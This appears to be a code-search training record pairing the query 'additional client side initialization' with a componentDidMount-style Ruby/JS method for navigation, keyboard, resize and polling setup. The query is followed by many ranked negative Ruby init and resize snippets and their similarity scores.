[ "0.7860161", "0.78093827", "0.7580512", "0.75685817", "0.7508215", "0.7508215", "0.7421952", "0.7396618", "0.7396618", "0.73338443", "0.7312823", "0.7312307", "0.7311976", "0.7311976", "0.72599053", "0.72262466", "0.72017723", "0.7175135", "0.71436024", "0.7136012", "0.71243477", "0.71135", "0.7096654", "0.7017103", "0.70058787", "0.694758", "0.6934842", "0.6918674", "0.6918674", "0.6918674", "0.66142225", "0.6605957", "0.6605957", "0.6605957", "0.6605957", "0.6605957", "0.6605957", "0.6605957", "0.6605053", "0.6596109", "0.6596109", "0.65778446", "0.65663683", "0.65501434", "0.6549306", "0.6513666", "0.6494415", "0.6462896", "0.6462896", "0.6451294", "0.643906", "0.6421463", "0.640368", "0.6395513", "0.6383767", "0.638337", "0.63340336", "0.63182795", "0.62946093", "0.62567097", "0.62567097", "0.624503", "0.6229748", "0.62290925", "0.62008077", "0.6199816", "0.6194423", "0.61905694", "0.61802095", "0.6154522", "0.6144077", "0.61312276", "0.6111036", "0.60925674", "0.60925674", "0.6080357", "0.6078268", "0.6068455", "0.6066197", "0.60327035", "0.60121566", "0.6001773", "0.59982693", "0.5985199", "0.59683555", "0.59675467", "0.59645575", "0.59587175", "0.5955841", "0.59465045", "0.59465045", "0.59465045", "0.59465045", "0.5940487", "0.5921945", "0.59201384", "0.5913114", "0.59110475", "0.58988386", "0.58947504" ]
0.6644676
30
additional client side initialization
def componentDidMount() # export navigate and refresh methods Main.navigate = self.navigate Main.refresh = self.refresh # store initial state in history, taking care not to overwrite # history set by the Search component. if not history.state or not history.state.query history.replaceState({path: @@page.path}, nil, @@page.path) end # listen for back button, and re-route/re-render when it occcurs window.addEventListener :popstate do |event| if event.state and defined? event.state.path self.route(event.state.path, event.state.query) end end # keyboard navigation (unless on the search screen) def (document.body).onkeyup(event) return if ~'#search-text' or ~'.modal-open' if event.keyCode == 37 self.navigate ~"a[rel=prev]".getAttribute('href') elsif event.keyCode == 39 self.navigate ~"a[rel=next]".getAttribute('href') end end # whenever the window is resized, adjust margins of the main area to # avoid overlapping the header and footer areas def window.onresize() main = ~'main' main.style.marginTop = "#{~'header.navbar'.clientHeight}px" main.style.marginBottom = "#{~'footer.navbar'.clientHeight}px" end # do an initial resize window.onresize() # if agenda is stale, fetch immediately; start polling agenda self.fetchAgenda() unless @poll.etag setInterval self.fetchAgenda, @poll.interval end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_client; end", "def post_init\n puts \"#{self.class}/#{self} client post_init runs\"\n end", "def init\n\n end", "def init\n end", "def init\n end", "def init\n end", "def post_init\n end", "def at_init\n\n\t\tend", "def init; end", "def init; end", "def init; end", "def init; end", "def user_init; end", "def pre_initialize\n end", "def on_init; end", "def on_init; end", "def post_init\n end", "def post_initialize\n end", "def bootstrap_init\n end", "def pre_initialize; end", "def post_init\n\tend", "def initialize\n init\n end", "def initialize\n super\n self.scripts = []\n self.template_paths = []\n self.libraries = {}\n self.options = SymbolHash.new(false).update(\n :single_library => true,\n :caching => false\n )\n self.server_options = {:Port => 8808}\n end", "def initialize(client)\n self.client=client\n\n\tend", "def initialize_connection\n self.send(Response.new(action: 'init'))\n end", "def init\n\nend", "def initialize\n log.info \"Main server: #{client[\"/apps/cocina/host\"]} - #{client[\"/apps/cocina/main_port\"]}\"\n super client[\"/apps/cocina/host\"], client[\"/apps/cocina/main_port\"]\n end", "def after_initialize\n end", "def on_initialize\n end", "def init; end", "def Init()\n end", "def initialize(client)\n super(client, 'core')\n end", "def initialize\n set_config\n end", "def run_init_script; end", "def initialize\n super()\n init_data()\n end", "def initialize\n\tinit\n\tsuper\nend", "def initialize\n load_site\n load_creds\n end", "def before_initialize(&block); end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize(client)\n\t self.client=client\n end", "def initialize\n\t \t# loading or not loading should be the key here.\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize()\n\t\tend", "def initialize(client)\n\t\tself.client = client\n\tend", "def initialize(client)\n\t\tself.client = client\n\tend", "def initialize\n get_enterprise_token\n initialize_client\n end", "def after_initialize\n end", "def after_initialize\n end", "def initialize(client, attributes = {})\n super\n fully_loaded!\n end", "def initialize\r\n\r\n end", "def initialize client, instance_ref, instance_data = nil\n super\n end", "def initialize()\n end", "def initialize\n\t\t\n\tend", "def after_initialize(options={}) ; end", "def initialize() end", "def init!\n @defaults = {\n :@refresh_token => ShakeTheCounter::Config.refresh_token,\n :@id => ShakeTheCounter::Config.client_id,\n :@secret => ShakeTheCounter::Config.client_secret,\n :@language_code => ShakeTheCounter::Config.language_code,\n }\n end", "def initialize()\r\n\r\n end", "def initialize\n\n\n\n end", "def after_initialize(opts)\n end", "def post_initialize\n # raise NotImplementedError\n end", "def init_data\n end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def initialize()\n # override parent\n end", "def after_initialize\n end", "def after_init\n end", "def initialize(*args)\n\t\t\t\tsuper\n\t\t\t\t#super called in order to call the same method from the parent class and then adding our thing (next line)\n\t\t\t\t@cleverbot = ::Cleverbot::Client.new #:: means look not at this namespace but at the very top and search down.\n\t\t\tend", "def init\n @init.call if @init\n end", "def initialize\n \n end", "def initialize(nsx_client)\n super(nsx_client)\n # Construct base URLs\n @base_url = NSXConstants::NSXT_DFW_BASE\n @url_sections = @base_url + \\\n NSXConstants::NSXT_DFW_SECTIONS\n @one_section_id = init_section\n end", "def initialize\n end", "def initialize\n super(true)\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize(clients)\n @clients = clients\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end", "def initialize()\n super\n end" ]
[ "0.78847325", "0.73474425", "0.7312914", "0.730315", "0.730315", "0.730315", "0.7275111", "0.72079355", "0.71405405", "0.71405405", "0.71405405", "0.71405405", "0.7126021", "0.7078955", "0.70680946", "0.70680946", "0.7067408", "0.70284605", "0.7024919", "0.6985289", "0.6942482", "0.6927224", "0.68405", "0.6838667", "0.68129486", "0.67494196", "0.67420566", "0.6682935", "0.6669818", "0.6668984", "0.66489226", "0.6638917", "0.66310364", "0.6629831", "0.6629017", "0.6618051", "0.66051143", "0.65905076", "0.6572647", "0.6572647", "0.6568528", "0.65650123", "0.6560868", "0.6560868", "0.65577567", "0.655551", "0.655551", "0.654948", "0.653924", "0.653924", "0.6538534", "0.65373", "0.653167", "0.65184027", "0.6514129", "0.6510015", "0.6485412", "0.64613265", "0.6454814", "0.6453769", "0.6450162", "0.64472467", "0.6427299", "0.6416186", "0.6416186", "0.6416186", "0.6416186", "0.6414915", "0.64045167", "0.6392998", "0.63779217", "0.63671696", "0.63655376", "0.63604677", "0.63489425", "0.634478", "0.6338933", "0.6338933", "0.6338933", "0.6338933", "0.6338933", "0.6338933", "0.6338933", "0.63384944", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665", "0.633665" ]
0.0
-1
after each subsequent rerendering, resize main window
def componentDidUpdate() window.onresize() end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_local_window_size(size); end", "def remake_window\n self.width = window_width\n self.height = window_height\n create_contents\n end", "def before_show()\n $ENV = VR::load_yaml(SavableSettings, \"settings.yaml\")\n @builder[:window1].resize $ENV.width, $ENV.height\n refresh()\n end", "def refresh\n @window.resize(height, width)\n @window.move(top, left)\n @window.clear\n @window.bkgd(1) # even background hack\n buffer_content if @content.is_a?(Proc)\n print_buffer\n draw_border\n @window.noutrefresh\n visible_children.each(&:refresh)\n end", "def resize width, height\n @widgets[@index].width = width\n @widgets[@index].height = height\n @widgets[@index].repaint\n end", "def resize\n # We need to nuke ncurses to pick up the new dimensions\n Curses.def_prog_mode\n Curses.close_screen\n Curses.reset_prog_mode\n height, width = Curses.dimensions\n \n # Resize tabs \n @tabs.resize(\n :width => width,\n :height => height\n )\n @tabs.render\n end", "def exp_window_update(exp)\n @victory_main.redraw_exp(exp)\n create_leveled_windows\n pack_and_send\n end", "def refresh\n @all_window.each.with_index do |window, i|\n window.opacity = (i == @index ? 255 : 128)\n end\n current_window = @all_window[@index]\n return unless current_window\n last_y = current_window.y + current_window.height + 2\n if last_y > @viewport.rect.height\n oy = @viewport.rect.height - last_y - 48\n if WINDOW_VIEWPORT_INCOMPATIBILITY\n @all_window.move(0, oy)\n else\n @viewport.oy = -oy\n @background_sprite.oy = oy\n end\n elsif WINDOW_VIEWPORT_INCOMPATIBILITY && (last_y = current_window.y - 2) < 0\n @all_window.move(0, -last_y)\n elsif !WINDOW_VIEWPORT_INCOMPATIBILITY\n @background_sprite.oy = @viewport.oy = 0\n end\n end", "def resize\n trigger(:_clear_)\n\n trigger(:_refresh_)\n\n true\n end", "def resize new_width, new_height\n win.resize new_width, new_height\n end", "def update_gui\n unless app.disposed?\n app.flush\n app.real.redraw\n end\n end", "def windowDidResize n\n self.table.reloadData\n end", "def resize_mix_window_yea_abe\n return unless $imported[\"YEA-BattleEngine\"]\n @mix_window.height = @skill_window.height\n @mix_window.width = @skill_window.width\n @mix_window.y = Graphics.height - @item_window.height\n end", "def window_update(oline)\n if oline != nil\n #text = \"\"\n @last_color = 0\n @contents_x = 0\n @contents_y = 0\n @biggest_text_height = 0\n @cControlsList.clear()\n for l in oline\n next if l == nil\n converted_line = convert_special_characters(l)\n generate_controls(converted_line)\n new_line\n end\n\n # Changes contents size for scrolling\n self.contents.dispose\n self.contents = Bitmap.new(self.width - 32, [self.height - 32, @contents_y].max)\n self.oy = 0\n end\n \n refresh()\n end", "def redraw\n @application.redraw\n end", "def window_size()\n\[email protected]_to(x, y)\nend", "def refresh_command(resize)\n if resize\n self.height = [self.height, row_max * WLH + 32].max\n end\n create_contents\n refresh\n end", "def refresh\n\t\t\[email protected]\n\t\t\[email protected] { |w| w.refresh if w.visible? }\n\t\tend", "def handleResize w, h\n\t# Tell OpenGL how to convert from coordinates pixel values\n\tglViewport(0, 0, w, h)\n\t\n\tglMatrixMode(GL_PROJECTION) # Switch to setting the camera perspective\n\t\n\t# Set the camera perspective\n\tglLoadIdentity() # Reset the camera\n\tgluPerspective(45.0, # the camera angle\n\t\t\t\t\tw/ h,\n\t\t\t\t\t1.0,\n\t\t\t\t\t200.0)\nend", "def handleResize w, h\n\t# Tell OpenGL how to convert from coordinates pixel values\n\tglViewport(0, 0, w, h)\n\t\n\tglMatrixMode(GL_PROJECTION) # Switch to setting the camera perspective\n\t\n\t# Set the camera perspective\n\tglLoadIdentity() # Reset the camera\n\tgluPerspective(45.0, # the camera angle\n\t\t\t\t\tw/ h,\n\t\t\t\t\t1.0,\n\t\t\t\t\t200.0)\nend", "def resize_event event\n @widget.size = event.size\n scene.scene_rect =\n Qt::RectF.new(0, 0, event.size.width, event.size.height)\n end", "def track_resize\n @track_resize = true\n d = Terminal.dimensions\n\n @resize_thread = Thread.new {\n while @track_resize\n Terminal.reset!\n t = Terminal.dimensions\n\n if t != d && !shutdown?\n Terminal.resize!\n @on_resize.call if !!@on_resize\n end\n\n d = Terminal.dimensions\n sleep(RESIZE_TIME)\n end\n }\n end", "def resize(w, h, animate=false)\n b = current_bounds\n w = absolutize_size(w, :width)\n h = absolutize_size(h, :height)\n app.windows[0].bounds.set([ b[0], b[1] + height, b[0] + w, b[1] + h + height ])\n end", "def set_windows\n set_title \"R-Bloggyn::#{@usuario.alias}\" #nombre de la ventana\n set_default_size 640, 480 #tamaño de la ventana\n set_skip_taskbar_hint true\n set_window_position Gtk::Window::POS_CENTER #posicion de la ventana\n self.set_attributes\n add @hbox\n show_all #muestra todo\n end", "def ReSizeGLScene(width, height)\n if (height==0) # Prevent A Divide By Zero If The Window Is Too Small\n height=1\n end\n glViewport(0,0,width,height) # Reset The Current Viewport And\n # Perspective Transformation\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0)\n glMatrixMode(GL_MODELVIEW)\nend", "def needs_redraw?; end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def window_size\n manage.window.size\n end", "def update_scale\n heightpx = @board.height*@scale\n widthpx = @board.width*@scale\n # Gameboard\n @board_window.height = heightpx\n @board_window.width = widthpx\n # Clue windows\n @clues_windows[:rows].height = heightpx\n @clues_windows[:rows].width = (@scale*@board.clues[:rows].map { |row| row.length }.max)\n @clues_windows[:columns].height = (@scale*@board.clues[:columns].map { |column| column.length }.max)\n @clues_windows[:columns].width = widthpx\n # Clues\n @clues_list.each { |clue| clue[:text_object].delete() }\n @passing.each { |pass| pass.remove() }\n @passing = draw_passing(@board.clues)\n @clues_list = draw_clues(@board.clues)\n # Blocks\n @blocks.each do |block, cell|\n x = block.coords[:x]*@scale\n y = block.coords[:y]*@scale\n cell.coords = [x, y, x+@scale, y+@scale]\n end\n # Guide lines\n @guide_lines.each { |line| line.remove }\n @guide_lines = draw_guide_lines()\n update_highlight()\n end", "def unbind_resize_child_windows\n API.unbind \"\\\\\", @mash\nend", "def wrefresh\n Ncurses.wrefresh(@window)\n end", "def update_local_window_size( data )\n @local_window_size -= data.length\n if @local_window_size < 4096\n @local_window_size += 0x20000\n send_window_adjust 0x20000\n end\n end", "def resize_async(width, height, use_hints = false)\n flags = use_hints ? XDo::FFILib::Consts::SIZE_U : 0\n XDo::FFILib.xdo_window_setsize @_xdo_pointer, @_window, width, height, flags\n end", "def resizable?; true; end", "def refresh()\n # Filling the parent that is at the root of the screen is apparently broken :/.\n @holder.set_height(@parent.get_height_fit - @holder.get_y)\n set_height(@holder.get_height - get_y)\n end", "def main_window ; end", "def refresh\n @window.refresh\n end", "def Pager_RecalcSize(hwnd) send_pager_message(hwnd, :RECALCSIZE) end", "def refresh!\n refresh\n @window.refresh\n end", "def resize_gl\n\n\t\tview_rectangle = bounds\n\n\t\t# Ensures camera knows size changed :\n\t\tif (@camera.view_height != view_rectangle.size.height) or (@camera.view_width != view_rectangle.size.width)\tthen\n\n\t\t\[email protected]_height = view_rectangle.size.height\n\t\t\[email protected]_width = view_rectangle.size.width\n\n\t\t\tglViewport(0, 0, @camera.view_width, @camera.view_height)\n\t\t\tupdate_projection\n\n\t\t\tupdate_info_string\n\n\t\tend\n\n\tend", "def refresh()\n # Filling the parent that is at the root of the screen is apparently broken :/.\n @holder.set_height(@parent.get_height_fit - @holder.get_y)\n page_height = @holder.get_height - get_y\n if @keyboard then\n page_height = page_height - @keyboard.get_visible_height()\n end\n\n set_height(page_height)\n end", "def main_window\r\n super\r\n # Make main command window\r\n main_command_window\r\n # Make play time window\r\n @playtime_window = Window_PlayTime.new\r\n @playtime_window.x = 0\r\n @playtime_window.y = 224\r\n # Make steps window\r\n @steps_window = Window_Steps.new\r\n @steps_window.x = 0\r\n @steps_window.y = 320\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 0\r\n @gold_window.y = 416\r\n # Make status window\r\n @status_window = Window_MenuStatus.new\r\n @status_window.x = 160\r\n @status_window.y = 0\r\n end", "def maximize_to_screen\n size = execute_script(%(\n return { width: window.screen.width, height: window.screen.height };\n ))\n\n move_window_to(0, 0)\n resize_window_to(size['width'], size['height'])\n end", "def unfullscreen_width\n\n return unless @window\n\n @window.decorated = true\n @window.set_resizable(true)\n\n # Resize the width of the window\n width = @window.screen.width\n height = @window.screen.height\n \n # We need to change the minimum size of the window\n min_width = width / 4\n min_height = height / 4\n @window.set_size_request(min_width, min_height)\n #puts \"width : #{width} / #{height}\"\n\n @window.unfullscreen\n\n # then we can resize to a smaller size\n new_width = width / 2 \n @window.move(0, 0)\n @window.resize( new_width , height)\nend", "def local_window_size; end", "def set_client_size\n if self.visible?\n self.execute_script(\"AE.Dialog.adjustSize();\")\n else\n self.on_show{\n self.execute_script(\"AE.Dialog.adjustSize();\")\n }\n end\nend", "def setup_main_window\n main_window = Curses::Window.new(48, 60, 0, 0)\n main_window.attron(Curses.color_pair(8))\n main_window.box('|', '-')\n main_window.noutrefresh\n main_window\nend", "def resize(ht = 0, w = 0)\n # update sheight and swidth even if reduced, so that pad doesn't overwrite.\n @sheight = ht if ht > 0\n @swidth = w if w > 0\n return if ht < @padheight and w < @padwidth\n @padheight = ht if ht > @padheight\n @padwidth = w if w > @padwidth\n destroy\n $log.debug \" L502 resize, creating newpad with #{@padheight} and #{@padwidth} \"\n @window = Ncurses.newpad(@padheight, @padwidth)\n $log.debug \" L502 resize created #{@window} \"\n return @window\n end", "def main_window\r\n super\r\n # Make windows\r\n @left_window = Window_DebugLeft.new\r\n @right_window = Window_DebugRight.new\r\n @help_window = Window_Base.new(192, 352, 448, 128)\r\n @help_window.contents = Bitmap.new(406, 96)\r\n # Restore previously selected item\r\n @left_window.top_row = $game_temp.debug_top_row\r\n @left_window.index = $game_temp.debug_index\r\n @right_window.mode = @left_window.mode\r\n @right_window.top_id = @left_window.top_id\r\n end", "def window_update(actor)\n if actor != nil\n bodyImg = MENU_CONFIG::BODY_IMAGES[actor.id]\n bitmap = Cache.picture(bodyImg.filename)\n @cBackCharImage.img_bitmap = bitmap\n @cBackCharImage.src_rect = Rect.new(bodyImg.src_rect.x, bodyImg.src_rect.y, \n bitmap.width, bitmap.height)\n end\n refresh()\n end", "def resize!\n end", "def update\n super\n # update_bitmap # Not needed for now\n update_screen # Update the position the graphic should be displayed\n # update_frame # Update the frame count (if wanted later)\n end", "def remote_window_size; end", "def update_size\n @max_x = @glade['drawingarea'].allocation.width - 1\n @max_y = @glade['drawingarea'].allocation.height - 1\n @glade['xvalue'].set_range(1,@max_x)\n @glade['yvalue'].set_range(1,@max_y)\n end", "def set_size(w=nil, h=nil)\n @window_width = w if w.is_a?(Numeric) && w > 0 # TODO: > min_width\n @window_height = h if h.is_a?(Numeric) && h > 0 # TODO: > min_height\n super(@window_width, @window_height)\nend", "def content_windows\n content = {\n score_window: Curses::Window.new(4, 14, 4, 3),\n lvl_window: Curses::Window.new(3, 5, 11, 3),\n lines_window: Curses::Window.new(3, 7, 11, 10),\n highscores_window: Curses::Window.new(24, 14, 17, 3),\n tetris_window: Curses::Window.new(40, 20, 4, 20),\n next_window: Curses::Window.new(10, 14, 4, 43)\n }\n\n content.each do |_name, window|\n window.noutrefresh\n end\n content\nend", "def repaint\n $log.debug \" tabbedpane repaint \"\n @window || create_window\n _recreate_buttons if @recreate_buttons\n $log.debug \" tabbedpane repaint #{@window.name} \"\n @window.show\n #x set_buffer_modified()\n end", "def reset_window\n end", "def do_window_adjust(bytes); end", "def resize\n\t\t@image = Qt::Image.new @parent.width/2, @parent.width/2, 7\n\t\[email protected] Qt::Color.new \"#ffffff\"\n\tend", "def reposition_window\n config = MARW_CONFIGURATION\n self.x = config[:window_x] == -1 ? (Graphics.width - window_width) / 2 : config[:window_x]\n self.y = 0\n end", "def on_window_adjust( &block )\n @on_window_adjust = block\n end", "def resizeCanvas(w,h)\n puts(\"resizing canvas\")\n puts(w,h)\n @canvasHeight = h #Set the canvas height\n @canvasWidth = w #Set the canvas width\n @canvas.resize(w,h)\n @exportImage = FXPNGImage.new(@parentApp, nil, @canvasWidth, @canvasHeight)\n @exportImage.create #initializes the image object.\n @exportImage.resize(@canvasWidth, @canvasHeight) #Sets the image to match canvas width and height\n @layerArray = Array.new #Reset the layer array\n @imageArray = Array.new #Reset the image array\n @dirtyArray = Array.new #Reset the dirty array\n @activeIndex = 0 #Reset the active index\n createImage() #Push a blank image data.\n @activeImage = @imageArray[@activeIndex] #Update active index to default.\n @canvas.update #Update the draw canvas to reflect changes.\n end", "def window_update(actor)\n if actor != nil \n #------------------------------------------\n # Resistances section\n #------------------------------------------\n elements = []\n for i in 9..16\n elements.push(GraphElement.new(CORE_CONFIG::ELEMENT_ICONS[i], actor.element_rate(i)))\n end\n @ucElementalResistGraph.elements = elements\n\n elements = []\n for i in 1 .. $data_states.size-1\n state = $data_states[i]\n if !state.nonresistance \n elements.push(GraphElement.new(state.icon_index, actor.state_probability(state.id)))\n end\n end\n @ucStatesResistGraph.elements = elements\n end\n refresh()\n end", "def build_window\n max = @choices.size\n max = MaxChoice if max > MaxChoice\n self.height = max * default_line_height + window_builder[5] + window_builder[-1]\n refresh\n end", "def update_event_window\n if Input.trigger?(Input::B)\n Sound.play_cancel\n @map_window.show\n @type_window.show.activate\n @event_window.hide.deactivate\n elsif Input.trigger?(Input::C)\n Sound.play_ok\n unless @type_window.index == 1\n fill_page_window\n @event_window.hide.deactivate\n else\n @mode_window.show.activate\n @event_window.deactivate\n end\n end\n end", "def window_width() Graphics.width - 128 end", "def main_window\r\n super\r\n # Make help window\r\n @help_window = Window_Help.new\r\n # Make command window\r\n @command_window = Window_ShopCommand.new\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 480\r\n @gold_window.y = 64\r\n # Make dummy window\r\n @dummy_window = Window_Base.new(0, 128, 640, 352)\r\n # Make buy window\r\n @buy_window = Window_ShopBuy.new($game_temp.shop_goods)\r\n @buy_window.active = false\r\n @buy_window.visible = false\r\n @buy_window.help_window = @help_window\r\n # Make sell window\r\n @sell_window = Window_ShopSell.new\r\n @sell_window.active = false\r\n @sell_window.visible = false\r\n @sell_window.help_window = @help_window\r\n # Make quantity input window\r\n @number_window = Window_ShopNumber.new\r\n @number_window.active = false\r\n @number_window.visible = false\r\n # Make status window\r\n @status_window = Window_ShopStatus.new\r\n @status_window.visible = false\r\n end", "def update_name_windowskin\n windowskin_name = current_name_windowskin\n return if @name_windowskin_name == windowskin_name\n\n wb = @name_window.window_builder = current_name_window_builder\n @name_window.windowskin = RPG::Cache.windowskin(@name_windowskin_name = windowskin_name)\n @name_window.x = x\n if current_position != :top\n @name_window.y = y - wb[5] - wb[-1] - default_line_height - default_vertical_margin\n else\n @name_window.y = y + height + default_vertical_margin\n end\n @name_window.height = wb[5] + wb[-1] + default_line_height\n end", "def main_window\r\n super\r\n # Make windows\r\n @help_window = Window_Help.new\r\n @left_window = Window_EquipLeft.new(@actor)\r\n @right_window = Window_EquipRight.new(@actor)\r\n @item_window1 = Window_EquipItem.new(@actor, 0)\r\n @item_window2 = Window_EquipItem.new(@actor, 1)\r\n @item_window3 = Window_EquipItem.new(@actor, 2)\r\n @item_window4 = Window_EquipItem.new(@actor, 3)\r\n @item_window5 = Window_EquipItem.new(@actor, 4)\r\n # Associate help window\r\n @right_window.help_window = @help_window\r\n @item_window1.help_window = @help_window\r\n @item_window2.help_window = @help_window\r\n @item_window3.help_window = @help_window\r\n @item_window4.help_window = @help_window\r\n @item_window5.help_window = @help_window\r\n # Set cursor position\r\n @right_window.index = @equip_index\r\n refresh\r\n end", "def update!(**args)\n @resize_type = args[:resize_type] if args.key?(:resize_type)\n @visible_rect_after_resize = args[:visible_rect_after_resize] if args.key?(:visible_rect_after_resize)\n @visible_rect_before_resize = args[:visible_rect_before_resize] if args.key?(:visible_rect_before_resize)\n end", "def unfullscreen_height\n\n return unless @window\n\n @window.decorated = true\n @window.set_resizable(true)\n\n # Resize the width of the window\n width = @window.screen.width\n height = @window.screen.height\n\n # We need to change the minimum size of the window\n min_width = width / 4\n min_height = height / 4\n @window.set_size_request(min_width, min_height)\n #puts \"height: #{width} / #{height}\"\n\n @window.unfullscreen\n\n # then we can resize to a smaller size\n new_height = height / 2\n @window.move(0, 0)\n @window.resize(width, new_height)\nend", "def resize_window_to(width, height)\n driver.manage.window.resize_to(width, height)\n end", "def wrefresh\n $log.debug \" inside pad's wrefresh #{@window}. minr,minc,top,left,smaxr,c: #{@pminrow}, #{@pmincol}, #{@top} #{@left} #{smaxrow()} #{smaxcol()} self: #{self.name} \"\n\n # caution, prefresh uses maxrow and maxcol not height and width\n # so we have to add top and less one since we are zero based\n ret = @window.prefresh(@pminrow, @pmincol, @top, @left, smaxrow(), smaxcol())\n $log.warn \" WREFRESH returns -1 ERROR - width or height must be exceeding \" if ret == -1\n @modified = false\n return ret\n end", "def needs_redraw?\n return (@main_window_widget.needs_redraw? or not @main_window_widget.throttle_render?)\n end", "def resize_browser(x,y)\r\n\t\t#resize\r\n\t\[email protected]_to(x,y)\r\n\t\tsleep 3\r\n\tend", "def update\n super\n update_menu_background\n @command_window.update\n @gold_window.update\n @status_window.update\n if @submenu_window\n @submenu_window.update\n @submenu_window.dispose if @submenu_window.openness == 0\n @submenu_window = nil if @submenu_window.disposed?\n end\n if @command_window.active\n update_command_selection\n elsif @status_window.active\n update_actor_selection\n elsif @submenu_window.active\n update_submenu_selection\n end\n end", "def size_default\n start_time = 0\n xdotool \"windowsize #{@id} #{@default.join(\" \")}\"\n while @default != get_geometry(@id)\n abort(\"*** #{File.basename(__FILE__)}: Window #{@id} did not resize - are you running a tiling window manager? Exiting...\") if Time.now - start_time > 2\n end\n end", "def resize(width, height); end", "def main_process\n while @running\n Graphics.update\n update\n end\n end", "def resize_browser(width,heigth)\n $driver.manage.window.resize_to(width,heigth)\nend", "def refresh_window_alignment\n self.x = case @@alignment\n when 0 then 0\n when 1 then Graphics.width/2-(width/2)\n when 2 then Graphics.width-width\n end\n end", "def needs_redraw?\n true \n end", "def maximize_browser_window\n @browser.execute_script(\n \"if (window.screen) {\n window.moveTo(0, 0);\n window.resizeTo(window.screen.availWidth, window.screen.availHeight);\n };\")\n end", "def repaint\n $log.debug \" form repaint:#{self}, #{@name} , r #{@row} c #{@col} \" if $log.debug? \n if @resize_required && @layout_manager\n @layout_manager.form = self unless @layout_manager.form\n @layout_manager.do_layout\n @resize_required = false\n end\n @widgets.each do |f|\n next if f.visible == false # added 2008-12-09 12:17 \n #$log.debug \"XXX: FORM CALLING REPAINT OF WIDGET #{f} IN LOOP\"\n #raise \"Row or col nil #{f.row} #{f.col} for #{f}, #{f.name} \" if f.row.nil? || f.col.nil?\n f.repaint\n f._object_created = true # added 2010-09-16 13:02 now prop handlers can be fired\n end\n \n _update_focusables if @focusable_modified\n # this can bomb if someone sets row. We need a better way!\n if @row == -1 and @_firsttime == true\n \n select_first_field\n @_firsttime = false\n end\n setpos \n # XXX this creates a problem if window is a pad\n # although this does show cursor movement etc.\n ### @window.wrefresh\n #if @window.window_type == :WINDOW\n #$log.debug \" formrepaint #{@name} calling window.wrefresh #{@window} \"\n @window.wrefresh\n Ncurses::Panel.update_panels ## added 2010-11-05 00:30 to see if clears the stdscr problems\n #else\n #$log.warn \" XXX formrepaint #{@name} no refresh called 2011-09-19 #{@window} \"\n #end\n end", "def draw_clues_windows(clues)\n heightpx = @board.height*@scale\n widthpx = @board.width*@scale\n windows = {}\n windows[:rows] = TkCanvas.new(@root, bg: \"#aaaaaa\") { grid(:row => 1, :column => 0) }\n windows[:rows].height = heightpx\n windows[:rows].width = (@scale*clues[:rows].map { |row| row.length }.max)\n windows[:columns] = TkCanvas.new(@root, bg: \"#aaaaaa\") { grid(:row => 0, :column => 1) }\n windows[:columns].height = (@scale*clues[:columns].map { |column| column.length }.max)\n windows[:columns].width = widthpx\n windows\n end", "def updateSize(x,y)\n x = (@panel.getWidth() > x) ? @panel.getWidth : x\n y = (@panel.getHeight() > y) ? @panel.getHeight : y\n @panel.setPreferredSize(Dimension.new(x,y))\n end", "def with_window_size(window_size)\n reconfigure(configuration.with(window_size: window_size))\n end", "def update\n\n\t\t# This can be a troublesome call to do anything heavyweight, as it is called on window moves, resizes, and display config changes.\n\t\t# So be careful of doing too much here.\n\n\t\t@message_time\t= get_elapsed_time\n\n\t\tupdate_message_string\n\n\t\t@current_context.update\n\n\t\tunless inLiveResize\t\t\t\t# if not doing live resize\n\t\t\tupdate_info_string\t\t\t\t\t# to get change in renderers will rebuild string every time (could test for early out)\n\t\t\t#get_current_opengl_capacities\t\t# this call checks to see if the current config changed in a reasonably lightweight way ...\n\t\t\t\t\t\t\t\t\t\t\t\t# ... to prevent expensive re-allocations\n\t\tend\n\n\tend", "def do_window_adjust( bytes_to_add )\n @window_size += bytes_to_add\n callback :window_adjust, self, bytes_to_add\n end", "def window_width\n end", "def check_for_resize; end", "def resize_browser(width, heigth)\n $driver.manage.window.resize_to(width, heigth)\nend", "def on_resize(&bl)\n @on_resize = bl\n end", "def repaint_all_widgets\n $log.debug \" REPAINT ALL in FORM called \"\n @widgets.each do |w|\n next if w.visible == false\n next if w.class.to_s == \"Canis::MenuBar\"\n $log.debug \" ---- REPAINT ALL #{w.name} \"\n #w.repaint_required true\n w.repaint_all true\n w.repaint\n end\n $log.debug \" REPAINT ALL in FORM complete \"\n # place cursor on current_widget \n setpos\n end", "def setwindow(*)\n super\n end", "def update\n super\n update_bitmap # Update HP Graphic\n update_screen # Update the position the graphic should be displayed\n end", "def window_handles; end", "def window_update(image)\n if image != nil\n @ucImage.image = image\n end\n refresh()\n end" ]
